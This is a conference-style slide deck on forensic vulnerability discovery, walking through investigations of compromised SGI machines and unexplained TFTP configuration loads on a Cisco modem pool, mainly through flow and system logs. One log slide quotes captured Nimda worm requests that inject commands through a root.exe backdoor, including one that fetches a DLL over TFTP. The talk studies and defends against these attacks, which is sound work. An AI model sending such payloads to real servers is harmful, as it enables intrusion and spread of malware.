290 likes | 443 Views
Forensic Vulnerability Discovery And Analysis. Or… #0w 1 l3@rn3d 2 $t0p //0rrY1N9 & LOV3 7h3 $p|0i7 !!. E. Larry Lidz The University of Chicago ellidz@uchicago.edu. What does that title mean?. Someone broke into your fully patched system… now what? This is not a how-to.
E N D
Forensic Vulnerability Discovery And Analysis Or… #0w 1 l3@rn3d 2 $t0p \/\/0rrY1N9 & LOV3 7h3 $p|0i7 !! E. Larry Lidz The University of Chicagoellidz@uchicago.edu
What does that title mean? • Someone broke into your fully patched system… now what? • This is not a how-to. • Most vulnerabilities are discovered by researchers, but… • …some are first encountered in the wild. • Attackers protect their 0-day ‘sploit binaries.
Two Examples • SGI Telnetd • Happened about two years ago. • Cisco tftp issue • Happened about a month ago. • The emphasis of this talk is on the process of the investigation, not the solutions to the problems.
SGI – The Events Unfold • First, a campus-wide scan for port 5232 • 5232: the distributed GL daemon • SGI-specific service • 2002-02-22 at about 21:00 • A handful of SGIs were compromised
Network Forensics 02/22/2000 21:10:40 -> 02/22/2000 21:10:42 6 96 <large_kr_isp_machine> 15248 <-> 96 <uchicago_machine> 5232 3 120 7f 11 00 00 00 02/22/2000 21:11:31 -> 02/22/2000 21:11:32 17 96 <machine_at_ac.kr> dpkeyserv <-> 96 <uchicago_machine> 5135 2 416 43 10 00 00 00 02/22/2000 21:12:57 -> 02/22/2000 21:13:06 6 96 <machine_at_ac.kr> shell <-> 96 <uchicago_machine> 1020 35 15529 84 1b 00 00 00 02/22/2000 21:11:42 -> 02/22/2000 21:13:20 6 96 <machine_at_small_edu> 39020 <-> 96 <uchicago_machine> telnet 79 3769 00 18 00 00 00 02/22/2000 21:17:11 -> 02/22/2000 21:17:11 6 96 <large_kr_isp_machine> 30082 <-> 96 <uchicago_machine> 5232 2 80 00 11 00 00 00 02/22/2000 21:17:23 -> 02/22/2000 21:17:24 6 96 <large_kr_isp_machine> 30418 <-> 96 <uchicago_machine> 5232 4 164 33 13 00 00 00 02/22/2000 21:17:23 -> 02/22/2000 21:17:23 6 96 <machine_at_a_tech_edu> ssh <-> 96 <uchicago_machine> 1021 1 40 00 10 00 00 00 02/22/2000 21:19:14 -> 02/22/2000 21:20:34 6 96 <machine_at_small_edu> 39020 <-> 96 <uchicago_machine> telnet 110 4556 24 18 00 00 00 02/22/2000 21:23:35 -> 02/22/2000 21:23:57 6 96 <machine_at_small_edu> 39020 <-> 96 <uchicago_machine> telnet 42 1735 7f 19 00 00 00
Network Forensics, II • Almost all of the compromised machines showed similar network traffic. • 5135 connections only happened on SGIs. • Port 5135 is the SGI Object Server. • Rshell always followed the telnet and was always back to the ObjServer scanning machine.
System Forensics • “hehe” account added to systems, uid 987 • Login was a telnet from <large_kr_isp_machine> • /tmp/.new home dir with .cshrc, .profile • System default skeleton stuff • Privilege escalation exploit for “df” installed: “as” • Compromised machines had “feer” account (uid 112) and a “passwd” account (uid 0), both without pws.
Theory #1 • Theory… • Known SGI Object server exploit • Problems… • ObjServer exploit gives root access, so why have the df exploit there? • One of the machines was patched for it. • Two machines were recompromised on the 25th after being patched. • On March 5th, a machine with all the latest patches was compromised. They got in, but not as root.
Network Forensics 02/22/2000 21:10:40 -> 02/22/2000 21:10:42 6 96 <large_kr_isp_machine> 15248 <-> 96 <uchicago_machine> 5232 3 120 7f 11 00 00 00 02/22/2000 21:11:31 -> 02/22/2000 21:11:32 17 96 <machine_at_ac.kr> dpkeyserv <-> 96 <uchicago_machine> 5135 2 416 43 10 00 00 00 02/22/2000 21:12:57 -> 02/22/2000 21:13:06 6 96 <machine_at_ac.kr> shell <-> 96 <uchicago_machine> 1020 35 15529 84 1b 00 00 00 02/22/2000 21:11:42 -> 02/22/2000 21:13:20 6 96 <machine_at_small_edu> 39020 <-> 96 <uchicago_machine> telnet 79 3769 00 18 00 00 00 02/22/2000 21:17:11 -> 02/22/2000 21:17:11 6 96 <large_kr_isp_machine> 30082 <-> 96 <uchicago_machine> 5232 2 80 00 11 00 00 00 02/22/2000 21:17:23 -> 02/22/2000 21:17:24 6 96 <large_kr_isp_machine> 30418 <-> 96 <uchicago_machine> 5232 4 164 33 13 00 00 00 02/22/2000 21:17:23 -> 02/22/2000 21:17:23 6 96 <machine_at_a_tech_edu> ssh <-> 96 <uchicago_machine> 1021 1 40 00 10 00 00 00 02/22/2000 21:19:14 -> 02/22/2000 21:20:34 6 96 <machine_at_small_edu> 39020 <-> 96 <uchicago_machine> telnet 110 4556 24 18 00 00 00 02/22/2000 21:23:35 -> 02/22/2000 21:23:57 6 96 <machine_at_small_edu> 39020 <-> 96 <uchicago_machine> telnet 42 1735 7f 19 00 00 00
Theory #2 • New vulnerability • Network logs sort of imply telnet bug given traffic levels. • Contact CERT, SGI. • SGI releases advisory about telnetd.
And onto…Cisco • Logs from one of our Cisco AS5300 modem pool tips that state: • Jul 7 19:30:22 x-mdm.uchicago.edu 2036472: Jul 7 19:30:22: %PARSER-4-BADCFG: Unexpected end of configuration file.
Theory #1 • The theory… • Someone was tftping a configuration file to the modem pool and didn’t have an “end” at the end of the configuration file. • The problem… • We asked everyone with access and no one was on the system at the time.
Log file Analysis • All three of our public tips had the following on two different days at three different times: • Configuration from tftp://255.255.255.255/<hostname>-confg • Configuration from tftp://<pool_ip>/<hostname>-confg by console • 4-5 minutes pass • Configuration from tftp://255.255.255.255/network-confg • Configuration from tftp://<pool_ip>/network-confg by console • TACACS logs show no logins to the AS5300s at the time of the tftps. • Same person was logged into <pool_ip> at each of the three times.
System Forensics • “show ver” shows: • System restarted at 06:03:33 GMT Tue Mar 26 2002System image file is “flash:c5300-js-mz_120-6_5.T4Host configuration file is “tftp://<pool_ip>/<hostname>-confg”Network configuration file is “tftp://<pool_ip>/network-confg • No reboot recently. • Configuration was successfully changed……but there were no visible changes to the config
Network Forensics • No odd connections to the AS5300s from off campus or any of the places on campus where we have network logs. • Analysis of audit logs for <pool_ip> reveal…
Flow logs 07/10/2002 20:08:17 -> 07/10/2002 20:08:20 6 02 <pool_ip> 2741 <-> 103 164.19.81.242 80 2 96 00 -S---- 07/10/2002 20:08:17 -> 07/10/2002 20:08:20 6 02 <pool_ip> 2749 <-> 103 211.86.224.195 80 2 96 00 -S---- 07/10/2002 20:08:17 -> 07/10/2002 20:08:20 6 02 <pool_ip> 2750 <-> 103 111.85.244.58 80 2 96 00 -S---- 07/10/2002 20:08:17 -> 07/10/2002 20:08:20 6 02 <pool_ip> 2751 <-> 101 198.109.19.111 80 2 96 00 -S---- 07/10/2002 20:08:17 -> 07/10/2002 20:08:20 6 02 <pool_ip> 2752 <-> 103 27.248.206.191 80 2 96 00 -S---- 07/10/2002 20:08:17 -> 07/10/2002 20:08:20 6 11 <pool_ip> 2751 <-> 01 198.109.19.111 80 2 96 00 -S---- 07/10/2002 20:08:32 -> 07/10/2002 20:08:34 6 11 <pool_ip> 3104 <-> 01 64.58.76.98 80 7 1269 00 FS-PA-
Argus Logs 10 Jul 02 20:09:37 icmp 157.130.220.130 -> <pool_ip> 2 0 148 0 TXD s[64]="..N.....E..0.0@...Z......*.....P.q.A..N.....E..0.,@...Y......*.." 10 Jul 02 20:09:37 icmp 194.250.126.42 -> <pool_ip> 2 0 148 0 TXD s[64]="...F....E..0.D@....<E6>.......s.".P..\<C6>...F....E..0.*@............s" 10 Jul 02 20:09:39 tcp <pool_ip>.4696 -> 213.226.101.30.80 5 3 438 393 sSEfR s[64]="GET /scripts/root.exe?/c+tftp%20i%20127.0.0.1%20GET%20cool.dll%" d[64]="HTTP/1.0200..Pragma: no-cache..Cache-Control: no-cache..Content" 10 Jul 02 20:10:25 icmp 206.220.243.106 -> <pool_ip> 1 0 74 0 URH s[36]="..!.....E..0..@.}..b....<./..M.P...." 10 Jul 02 20:09:42 tcp <pool_ip>.4800 -> 213.226.101.30.80 5 3 385 393 sSEfR s[64]="GET /scripts/httpodbc.dll HTTP/1.0..Host: www..Connnection: clos" d[64]="HTTP/1.0 200..Pragma: no-cache..Cache-Control: no-cache..Content" 10 Jul 02 20:09:42 tcp <pool_ip>.4813 -> 213.226.101.30.80 5 3 386 393 sSEfFR s[64]="GET /MSADC/root.exe?/c+dir HTTP/1.0..Host: www..Connnection: clo" d[64]="HTTP/1.0 200..Pragma: no-cache..Cache-Control: no-cache..Content"
Other details… • Vulnerability analysis of AS5300: • Running old version of code, vulnerable to the big SNMP bug. • Ntp, tacacs, and telnet run on it. No known problems with any of them. • Mitigating factors: • Access lists should drop SNMP traffic. • (unless spoofed from management vlan) • SNMP writes were disabled.
Theory #2 • Nimda machine attacked the AS5300 • New version of Nimda? Seems unlikely, but… • Machine attempts to get the routers to configure from it, then attacker (somehow) reboots the AS5300 to get it to use the new config. • If a few OIDs were set, tftps could be triggered in such a way to create the logs and “show ver” output. • But SNMP writes were disabled… • Maybe it used the SNMP bug? • But why would it log anything then? They can run whatever code they want. • Maybe it’s a new bug.
Next… • Talk to Cisco… • …not much in the way of information from them.
<ip_pool> forensics • Owner let us borrow it for a few weeks • Two partitions: WinME on FAT32, Win2k Server Chinese Edition on NTFS • Duplicate disk with hardware disk duplicator. • Look at FAT32 partition on different system • Lots of Nimda.E infected files, not much else. • Appears to have been infected from Win2k partition. • Boot it up, look at network traffic… nothing.
<ip_pool> forensics, NTFS • Partition corrupt • We didn’t have identical size disk. • Try to fix it… unable to. • Make Ghost image • Not ideal, but should give some information. • Investigate on external system • IIS Server infected while dialed into AT&T • Our modem pool blocks incoming www. • Lots of Nimda.E, but nothing else.
Theory #3 • <ip_pool> only infected with Nimda.E. • Attack came from outside, AS5300 tftps to broadcast <ip_pool> responds. • Perhaps Nimda.E returns payload regardless of filename requested? • If not, Windows tftp server certainly returns an empty file instead of an error. • AS5300 updates its tftp server, tries again.
Theory #3 thoughts • AS5300 might not be the only target • (if it was, it was an odd choice…) • Nimda isn’t popular on our network, so if we had seen lots of attacks, this might have been the only successful response. • We don’t know what a failed attack looks like. • Explains why AS5300 config didn’t change. • …but… • Looked at network logs for tftps to broadcast. Didn’t see any. • Odd as we know some of our routers log all connections.
So… • Is this a new attack, or was it just some odd random occurance/user error? • If it is an attack, why use tftp? • What is the connection to SNMP, if any?
Conclusions • It is often really difficult to know what you are seeing. • No binaries to pull apart. • It’s important to communicate with the vendor… but don’t expect much communication back. • You don’t always get the answer in the end.